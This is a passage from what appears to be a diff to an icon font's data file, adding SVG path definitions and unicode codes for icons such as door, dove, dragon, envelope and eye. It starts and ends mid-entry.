0-16.6-7.4-16.6-16.6v-17c-15.5-.8-30.5-6.1-43-15.4-5.6-4.1-6.2-12.3-1.2-17.1l16.3-15.5c3.8-3.7 9.5-3.8 14-1 5.4 3.4 11.4 5.1 17.8 5.1h38.9c9 0 16.3-8.2 16.3-18.3 0-8.2-5-15.5-12.1-17.6l-62.3-18.7c-25.7-7.7-43.7-32.4-43.7-60.1.1-34 26.4-61.5 59.1-62.4zM480 352h-32.5c-19.6 26-44.6 47.7-73 64h63.8c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8h63.8c-28.4-16.3-53.3-38-73-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32z"], + "door-closed": [640, 512, [], "f52a", "M624 448H512V50.8C512 22.78 490.47 0 464 0H175.99c-26.47 0-48 22.78-48 50.8V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM415.99 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32c.01 17.67-14.32 32-32 32z"], + "door-open": [640, 512, [], "f52b", "M624 448h-80V113.45C544 86.19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01l-192 49.74C105.99 54.44 96 67.7 96 82.92V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-19.56-37.41-39.76-32.17zM264 288c-13.25 0-24-14.33-24-32s10.75-32 24-32 24 14.33 24 32-10.75 32-24 32z"], + "dot-circle": [512, 512, [], "f192", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm80 248c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80z"], + "dove": [512, 512, [], "f4ba", "M288 167.2v-28.1c-28.2-36.3-47.1-79.3-54.1-125.2-2.1-13.5-19-18.8-27.8-8.3-21.1 24.9-37.7 54.1-48.9 86.5 34.2 38.3 80 64.6 130.8 75.1zM400 64c-44.2 0-80 35.9-80 80.1v59.4C215.6 197.3 127 133 87 41.8c-5.5-12.5-23.2-13.2-29-.9C41.4 76 32 115.2 32 156.6c0 70.8 34.1 136.9 85.1 185.9 13.2 12.7 26.1 23.2 38.9 32.8l-143.9 36C1.4 414-3.4 426.4 2.6 435.7 20 462.6 63 508.2 155.8 512c8 .3 16-2.6 22.1-7.9l65.2-56.1H320c88.4 0 160-71.5 160-159.9V128l32-64H400zm0 96.1c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"], + "download": [512, 512, [], "f019", "M216 0h80c13.3 0 24 10.7 24 24v168h87.7c17.8 0 26.7 21.5 14.1 34.1L269.7 378.3c-7.5 7.5-19.8 7.5-27.3 0L90.1 226.1c-12.6-12.6-3.7-34.1 14.1-34.1H192V24c0-13.3 10.7-24 24-24zm296 376v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h146.7l49 49c20.1 20.1 52.5 20.1 72.6 0l49-49H488c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z"], + "drafting-compass": [512, 512, [], "f568", "M457.01 344.42c-25.05 20.33-52.63 37.18-82.54 49.05l54.38 94.19 53.95 23.04c9.81 4.19 20.89-2.21 22.17-12.8l7.02-58.25-54.98-95.23zm42.49-94.56c4.86-7.67 1.89-17.99-6.05-22.39l-28.07-15.57c-7.48-4.15-16.61-1.46-21.26 5.72C403.01 281.15 332.25 320 256 320c-23.93 0-47.23-4.25-69.41-11.53l67.36-116.68c.7.02 1.34.21 2.04.21s1.35-.19 2.04-.21l51.09 88.5c31.23-8.96 59.56-25.75 82.61-48.92l-51.79-89.71C347.39 128.03 352 112.63 352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96c0 16.63 4.61 32.03 12.05 45.66l-68.3 118.31c-12.55-11.61-23.96-24.59-33.68-39-4.79-7.1-13.97-9.62-21.38-5.33l-27.75 16.07c-7.85 4.54-10.63 14.9-5.64 22.47 15.57 23.64 34.69 44.21 55.98 62.02L0 439.66l7.02 58.25c1.28 10.59 12.36 16.99 22.17 12.8l53.95-23.04 70.8-122.63C186.13 377.28 220.62 384 256 384c99.05 0 190.88-51.01 243.5-134.14zM256 64c17.67 0 32 14.33 32 32s-14.33 32-32 32-32-14.33-32-32 14.33-32 32-32z"], + "dragon": [640, 512, [], "f6d5", "M18.32 255.78L192 223.96l-91.28 68.69c-10.08 10.08-2.94 27.31 11.31 27.31h222.7c-9.44-26.4-14.73-54.47-14.73-83.38v-42.27l-119.73-87.6c-23.82-15.88-55.29-14.01-77.06 4.59L5.81 227.64c-12.38 10.33-3.45 30.42 12.51 28.14zm556.87 34.1l-100.66-50.31A47.992 47.992 0 0 1 448 196.65v-36.69h64l28.09 22.63c6 6 14.14 9.37 22.63 9.37h30.97a32 32 0 0 0 28.62-17.69l14.31-28.62a32.005 32.005 0 0 0-3.02-33.51l-74.53-99.38C553.02 4.7 543.54 0 533.47 0H296.02c-7.13 0-10.7 8.57-5.66 13.61L352 63.96 292.42 88.8c-5.9 2.95-5.9 11.36 0 14.31L352 127.96v108.62c0 72.08 36.03 139.39 96 179.38-195.59 6.81-344.56 41.01-434.1 60.91C5.78 478.67 0 485.88 0 494.2 0 504 7.95 512 17.76 512h499.08c63.29.01 119.61-47.56 122.99-110.76 2.52-47.28-22.73-90.4-64.64-111.36zM489.18 66.25l45.65 11.41c-2.75 10.91-12.47 18.89-24.13 18.26-12.96-.71-25.85-12.53-21.52-29.67z"], + "draw-polygon": [448, 512, [], "f5ee", "M384 352c-.35 0-.67.1-1.02.1l-39.2-65.32c5.07-9.17 8.22-19.56 8.22-30.78s-3.14-21.61-8.22-30.78l39.2-65.32c.35.01.67.1 1.02.1 35.35 0 64-28.65 64-64s-28.65-64-64-64c-23.63 0-44.04 12.95-55.12 32H119.12C108.04 44.95 87.63 32 64 32 28.65 32 0 60.65 0 96c0 23.63 12.95 44.04 32 55.12v209.75C12.95 371.96 0 392.37 0 416c0 35.35 28.65 64 64 64 23.63 0 44.04-12.95 55.12-32h209.75c11.09 19.05 31.49 32 55.12 32 35.35 0 64-28.65 64-64 .01-35.35-28.64-64-63.99-64zm-288 8.88V151.12A63.825 63.825 0 0 0 119.12 128h208.36l-38.46 64.1c-.35-.01-.67-.1-1.02-.1-35.35 0-64 28.65-64 64s28.65 64 64 64c.35 0 .67-.1 1.02-.1l38.46 64.1H119.12A63.748 63.748 0 0 0 96 360.88zM272 256c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zM400 96c0 8.82-7.18 16-16 16s-16-7.18-16-16 7.18-16 16-16 16 7.18 16 16zM64 80c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zM48 416c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zm336 16c-8.82 0-16-7.18-16-16s7.18-16 16-16 16 7.18 16 16-7.18 16-16 16z"], + "drum": [512, 512, [], "f569", "M431.34 122.05l73.53-47.42a16 16 0 0 0 4.44-22.19l-8.87-13.31a16 16 0 0 0-22.19-4.44l-110.06 71C318.43 96.91 271.22 96 256 96 219.55 96 0 100.55 0 208.15v160.23c0 30.27 27.5 57.68 72 77.86v-101.9a24 24 0 1 1 48 0v118.93c33.05 9.11 71.07 15.06 112 16.73V376.39a24 24 0 1 1 48 0V480c40.93-1.67 78.95-7.62 112-16.73V344.34a24 24 0 1 1 48 0v101.9c44.5-20.18 72-47.59 72-77.86V208.15c0-43.32-35.76-69.76-80.66-86.1zM256 272.24c-114.88 0-208-28.69-208-64.09s93.12-64.08 208-64.08c17.15 0 33.73.71 49.68 1.91l-72.81 47a16 16 0 0 0-4.43 22.19l8.87 13.31a16 16 0 0 0 22.19 4.44l118.64-76.52C430.09 168 464 186.84 464 208.15c0 35.4-93.13 64.09-208 64.09z"], + "drum-steelpan": [576, 512, [], "f56a", "M288 32C128.94 32 0 89.31 0 160v192c0 70.69 128.94 128 288 128s288-57.31 288-128V160c0-70.69-128.94-128-288-128zm-82.99 158.36c-4.45 16.61-14.54 30.57-28.31 40.48C100.23 217.46 48 190.78 48 160c0-30.16 50.11-56.39 124.04-70.03l25.6 44.34c9.86 17.09 12.48 36.99 7.37 56.05zM288 240c-21.08 0-41.41-1-60.89-2.7 8.06-26.13 32.15-45.3 60.89-45.3s52.83 19.17 60.89 45.3C329.41 239 309.08 240 288 240zm64-144c0 35.29-28.71 64-64 64s-64-28.71-64-64V82.96c20.4-1.88 41.8-2.96 64-2.96s43.6 1.08 64 2.96V96zm46.93 134.9c-13.81-9.91-23.94-23.9-28.4-40.54-5.11-19.06-2.49-38.96 7.38-56.04l25.65-44.42C477.72 103.5 528 129.79 528 160c0 30.83-52.4 57.54-129.07 70.9z"], + "drumstick-bite": [512, 512, [], "f6d7", "M462.8 49.57a169.44 169.44 0 0 0-239.5 0C187.82 85 160.13 128 160.13 192v85.83l-40.62 40.59c-9.7 9.69-24 11.07-36.78 6a60.33 60.33 0 0 0-65 98.72C33 438.39 54.24 442.7 73.85 438.21c-4.5 19.6-.18 40.83 15.1 56.1a60.35 60.35 0 0 0 98.8-65c-5.09-12.73-3.72-27 6-36.75L234.36 352h85.89a187.87 187.87 0 0 0 61.89-10c-39.64-43.89-39.83-110.23 1.05-151.07 34.38-34.36 86.76-39.46 128.74-16.8 1.3-44.96-14.81-90.28-49.13-124.56z"], + "dumbbell": [640, 512, [], "f44b", "M104 96H56c-13.3 0-24 10.7-24 24v104H8c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h24v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm528 128h-24V120c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v272c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h24c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zM456 32h-48c-13.3 0-24 10.7-24 24v168H256V56c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h128v168c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24z"], + "dumpster": [576, 512, [], "f793", "M560 160c10.4 0 18-9.8 15.5-19.9l-24-96C549.7 37 543.3 32 536 32h-98.9l25.6 128H560zM272 32H171.5l-25.6 128H272V32zm132.5 0H304v128h126.1L404.5 32zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm544 64h-20l4-32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h320v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16l20-160h28c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"], + "dumpster-fire": [640, 512, [], "f794", "M418.7 104.1l.2-.2-14.4-72H304v128h60.8c16.2-19.3 34.2-38.2 53.9-55.8zM272 32H171.5l-25.6 128H272V32zm189.3 72.1c18.2 16.3 35.5 33.7 51.1 51.5 5.7-5.6 11.4-11.1 17.3-16.3l21.3-19 21.3 19c1.1.9 2.1 2.1 3.1 3.1-.1-.8.2-1.5 0-2.3l-24-96C549.7 37 543.3 32 536 32h-98.9l12.3 61.5 11.9 10.6zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm324.6 32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208.8c-30.2-33.7-48.8-77.9-48.8-126.4 0-35.9 19.9-82.9 52.6-129.6zm210.5-28.8c-14.9 13.3-28.3 27.2-40.2 41.2-19.5-25.8-43.6-52-71-76.4-70.2 62.7-120 144.3-120 193.6 0 87.5 71.6 158.4 160 158.4s160-70.9 160-158.4c.1-36.6-37-112.2-88.8-158.4zm-18.6 229.4c-14.7 10.7-32.9 17-52.5 17-49 0-88.9-33.5-88.9-88 0-27.1 16.5-51 49.4-91.9 4.7 5.6 67.1 88.1 67.1 88.1l39.8-47c2.8 4.8 5.4 9.5 7.7 14 18.6 36.7 10.8 83.6-22.6 107.8z"], + "dungeon": [512, 512, [], "f6d9", "M128.73 195.32l-82.81-51.76c-8.04-5.02-18.99-2.17-22.93 6.45A254.19 254.19 0 0 0 .54 239.28C-.05 248.37 7.59 256 16.69 256h97.13c7.96 0 14.08-6.25 15.01-14.16 1.09-9.33 3.24-18.33 6.24-26.94 2.56-7.34.25-15.46-6.34-19.58zM319.03 8C298.86 2.82 277.77 0 256 0s-42.86 2.82-63.03 8c-9.17 2.35-13.91 12.6-10.39 21.39l37.47 104.03A16.003 16.003 0 0 0 235.1 144h41.8c6.75 0 12.77-4.23 15.05-10.58l37.47-104.03c3.52-8.79-1.22-19.03-10.39-21.39zM112 288H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm77.31-283.67l-36.32-90.8c-3.53-8.83-14.13-12.99-22.42-8.31a257.308 257.308 0 0 0-71.61 59.89c-6.06 7.32-3.85 18.48 4.22 23.52l82.93 51.83c6.51 4.07 14.66 2.62 20.11-2.79 5.18-5.15 10.79-9.85 16.79-14.05 6.28-4.41 9.15-12.17 6.3-19.29zM398.18 256h97.13c9.1 0 16.74-7.63 16.15-16.72a254.135 254.135 0 0 0-22.45-89.27c-3.94-8.62-14.89-11.47-22.93-6.45l-82.81 51.76c-6.59 4.12-8.9 12.24-6.34 19.58 3.01 8.61 5.15 17.62 6.24 26.94.93 7.91 7.05 14.16 15.01 14.16zm54.85-162.89a257.308 257.308 0 0 0-71.61-59.89c-8.28-4.68-18.88-.52-22.42 8.31l-36.32 90.8c-2.85 7.12.02 14.88 6.3 19.28 6 4.2 11.61 8.9 16.79 14.05 5.44 5.41 13.6 6.86 20.11 2.79l82.93-51.83c8.07-5.03 10.29-16.19 4.22-23.51zM496 288h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zM240 177.62V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V177.62c-5.23-.89-10.52-1.62-16-1.62s-10.77.73-16 1.62zm-64 41.51V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V189.36c-12.78 7.45-23.84 17.47-32 29.77zm128-29.77V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V219.13c-8.16-12.3-19.22-22.32-32-29.77z"], + "edit": [576, 512, [], "f044", "M402.6 83.2l90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0zm162-22.9l-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2zM384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5z"], + "egg": [384, 512, [], "f7fb", "M192 0C86 0 0 214 0 320s86 192 192 192 192-86 192-192S298 0 192 0z"], + "eject": [448, 512, [], "f052", "M448 384v64c0 17.673-14.327 32-32 32H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h384c17.673 0 32 14.327 32 32zM48.053 320h351.886c41.651 0 63.581-49.674 35.383-80.435L259.383 47.558c-19.014-20.743-51.751-20.744-70.767 0L12.67 239.565C-15.475 270.268 6.324 320 48.053 320z"], + "ellipsis-h": [512, 512, [], "f141", "M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z"], + "ellipsis-v": [192, 512, [], "f142", "M96 184c39.8 0 72 32.2 72 72s-32.2 72-72 72-72-32.2-72-72 32.2-72 72-72zM24 80c0 39.8 32.2 72 72 72s72-32.2 72-72S135.8 8 96 8 24 40.2 24 80zm0 352c0 39.8 32.2 72 72 72s72-32.2 72-72-32.2-72-72-72-72 32.2-72 72z"], + "envelope": [512, 512, [], "f0e0", "M502.3 190.8c3.9-3.1 9.7-.2 9.7 4.7V400c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V195.6c0-5 5.7-7.8 9.7-4.7 22.4 17.4 52.1 39.5 154.1 113.6 21.1 15.4 56.7 47.8 92.2 47.6 35.7.3 72-32.8 92.3-47.6 102-74.1 131.6-96.3 154-113.7zM256 320c23.2.4 56.6-29.2 73.4-41.4 132.7-96.3 142.8-104.7 173.4-128.7 5.8-4.5 9.2-11.5 9.2-18.9v-19c0-26.5-21.5-48-48-48H48C21.5 64 0 85.5 0 112v19c0 7.4 3.4 14.3 9.2 18.9 30.6 23.9 40.7 32.4 173.4 128.7 16.8 12.2 50.2 41.8 73.4 41.4z"], + "envelope-open": [512, 512, [], "f2b6", "M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.563-3.728-7.7-4.595-11.339-1.907-22.845 16.873-55.462 40.705-105.582 77.079-16.825 12.266-50.21 41.781-73.413 41.43-23.211.344-56.559-29.143-73.413-41.43-50.114-36.37-82.734-60.204-105.582-77.079-3.639-2.688-8.776-1.821-11.339 1.907l-9.072 13.196a7.998 7.998 0 0 0 1.839 10.967c22.887 16.899 55.454 40.69 105.303 76.868 20.274 14.781 56.524 47.813 92.264 47.573 35.724.242 71.961-32.771 92.263-47.573 49.85-36.179 82.418-59.97 105.303-76.868a7.998 7.998 0 0 0 1.839-10.967l-9.071-13.196z"], + "envelope-open-text": [512, 512, [], "f658", "M176 216h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16zm-16 80c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16zm96 121.13c-16.42 0-32.84-5.06-46.86-15.19L0 250.86V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V250.86L302.86 401.94c-14.02 10.12-30.44 15.19-46.86 15.19zm237.61-254.18c-8.85-6.94-17.24-13.47-29.61-22.81V96c0-26.51-21.49-48-48-48h-77.55c-3.04-2.2-5.87-4.26-9.04-6.56C312.6 29.17 279.2-.35 256 0c-23.2-.35-56.59 29.17-73.41 41.44-3.17 2.3-6 4.36-9.04 6.56H96c-26.51 0-48 21.49-48 48v44.14c-12.37 9.33-20.76 15.87-29.61 22.81A47.995 47.995 0 0 0 0 200.72v10.65l96 69.35V96h320v184.72l96-69.35v-10.65c0-14.74-6.78-28.67-18.39-37.77z"], + "envelope-square": [448, 512, [], "f199", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM178.117 262.104C87.429 196.287 88.353 196.121 64 177.167V152c0-13.255 10.745-24 24-24h272c13.255 0 24 10.745 24 24v25.167c-24.371 18.969-23.434 19.124-114.117 84.938-10.5 7.655-31.392 26.12-45.883 25.894-14.503.218-35.367-18.227-45.883-25.895zM384 217.775V360c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V217.775c13.958 10.794 33.329 25.236 95.303 70.214 14.162 10.341 37.975 32.145 64.694 32.01 26.887.134 51.037-22.041 64.72-32.025 61.958-44.965 81.325-59.406 95.283-70.199z"], + "equals": [448, 512, [], "f52c", "M416 304H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32zm0-192H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"], + "eraser": [512, 512, [], "f12d", "M497.941 273.941c18.745-18.745 18.745-49.137 0-67.882l-160-160c-18.745-18.745-49.136-18.746-67.883 0l-256 256c-18.745 18.745-18.745 49.137 0 67.882l96 96A48.004 48.004 0 0 0 144 480h356c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H355.883l142.058-142.059zm-302.627-62.627l137.373 137.373L265.373 416H150.628l-80-80 124.686-124.686z"], + "ethernet": [512, 512, [], "f796", "M496 192h-48v-48c0-8.8-7.2-16-16-16h-48V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v48H80c-8.8 0-16 7.2-16 16v48H16c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16h80V320h32v128h64V320h32v128h64V320h32v128h64V320h32v128h80c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16z"], + "euro-sign": [320, 512, [], "f153", "M310.706 413.765c-1.314-6.63-7.835-10.872-14.424-9.369-10.692 2.439-27.422 5.413-45.426 5.413-56.763 0-101.929-34.79-121.461-85.449h113.689a12 12 0 0 0 11.708-9.369l6.373-28.36c1.686-7.502-4.019-14.631-11.708-14.631H115.22c-1.21-14.328-1.414-28.287.137-42.245H261.95a12 12 0 0 0 11.723-9.434l6.512-29.755c1.638-7.484-4.061-14.566-11.723-14.566H130.184c20.633-44.991 62.69-75.03 117.619-75.03 14.486 0 28.564 2.25 37.851 4.145 6.216 1.268 12.347-2.498 14.002-8.623l11.991-44.368c1.822-6.741-2.465-13.616-9.326-14.917C290.217 34.912 270.71 32 249.635 32 152.451 32 74.03 92.252 45.075 176H12c-6.627 0-12 5.373-12 12v29.755c0 6.627 5.373 12 12 12h21.569c-1.009 13.607-1.181 29.287-.181 42.245H12c-6.627 0-12 5.373-12 12v28.36c0 6.627 5.373 12 12 12h30.114C67.139 414.692 145.264 480 249.635 480c26.301 0 48.562-4.544 61.101-7.788 6.167-1.595 10.027-7.708 8.788-13.957l-8.818-44.49z"], + "exchange-alt": [512, 512, [], "f362", "M0 168v-16c0-13.255 10.745-24 24-24h360V80c0-21.367 25.899-32.042 40.971-16.971l80 80c9.372 9.373 9.372 24.569 0 33.941l-80 80C409.956 271.982 384 261.456 384 240v-48H24c-13.255 0-24-10.745-24-24zm488 152H128v-48c0-21.314-25.862-32.08-40.971-16.971l-80 80c-9.372 9.373-9.372 24.569 0 33.941l80 80C102.057 463.997 128 453.437 128 432v-48h360c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24z"], + "exclamation": [192, 512, [], "f12a", "M176 432c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zM25.26 25.199l13.6 272C39.499 309.972 50.041 320 62.83 320h66.34c12.789 0 23.331-10.028 23.97-22.801l13.6-272C167.425 11.49 156.496 0 142.77 0H49.23C35.504 0 24.575 11.49 25.26 25.199z"], + "exclamation-circle": [512, 512, [], "f06a", "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zm-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"], + "exclamation-triangle": [576, 512, [], "f071", "M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"], + "expand": [448, 512, [], "f065", "M0 180V56c0-13.3 10.7-24 24-24h124c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H64v84c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12zM288 44v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V56c0-13.3-10.7-24-24-24H300c-6.6 0-12 5.4-12 12zm148 276h-40c-6.6 0-12 5.4-12 12v84h-84c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24V332c0-6.6-5.4-12-12-12zM160 468v-40c0-6.6-5.4-12-12-12H64v-84c0-6.6-5.4-12-12-12H12c-6.6 0-12 5.4-12 12v124c0 13.3 10.7 24 24 24h124c6.6 0 12-5.4 12-12z"], + "expand-alt": [448, 512, [], "f424", "M212.686 315.314L120 408l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C10.697 480 0 469.255 0 456V344c0-21.382 25.803-32.09 40.922-16.971L72 360l92.686-92.686c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.249 6.248 6.249 16.378 0 22.627zm22.628-118.628L328 104l-32.922-31.029C279.958 57.851 290.666 32 312.048 32h112C437.303 32 448 42.745 448 56v112c0 21.382-25.803 32.09-40.922 16.971L376 152l-92.686 92.686c-6.248 6.248-16.379 6.248-22.627 0l-25.373-25.373c-6.249-6.248-6.249-16.378 0-22.627z"], + "expand-arrows-alt": [448, 512, [], "f31e", "M448 344v112a23.94 23.94 0 0 1-24 24H312c-21.39 0-32.09-25.9-17-41l36.2-36.2L224 295.6 116.77 402.9 153 439c15.09 15.1 4.39 41-17 41H24a23.94 23.94 0 0 1-24-24V344c0-21.4 25.89-32.1 41-17l36.19 36.2L184.46 256 77.18 148.7 41 185c-15.1 15.1-41 4.4-41-17V56a23.94 23.94 0 0 1 24-24h112c21.39 0 32.09 25.9 17 41l-36.2 36.2L224 216.4l107.23-107.3L295 73c-15.09-15.1-4.39-41 17-41h112a23.94 23.94 0 0 1 24 24v112c0 21.4-25.89 32.1-41 17l-36.19-36.2L263.54 256l107.28 107.3L407 327.1c15.1-15.2 41-4.5 41 16.9z"], + "external-link-alt": [512, 512, [], "f35d", "M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z"], + "external-link-square-alt": [448, 512, [], "f360", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-88 16H248.029c-21.313 0-32.08 25.861-16.971 40.971l31.984 31.987L67.515 364.485c-4.686 4.686-4.686 12.284 0 16.971l31.029 31.029c4.687 4.686 12.285 4.686 16.971 0l195.526-195.526 31.988 31.991C358.058 263.977 384 253.425 384 231.979V120c0-13.255-10.745-24-24-24z"], + "eye": [576, 512, [], "f06e", "M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z"], + "eye-dropper": [512, 512, [], "f1fb", "M50.75 333.25c-12 12-18.75 28.28-18.75 45.26V424L0 480l32 32 56-32h45.49c16.97 0 33.25-6.74 45.25-18.74l126.64-126.62-128-128L50.75 333.25zM483.88 28.12c-37.47-37.5-98.28-37.5-135.75 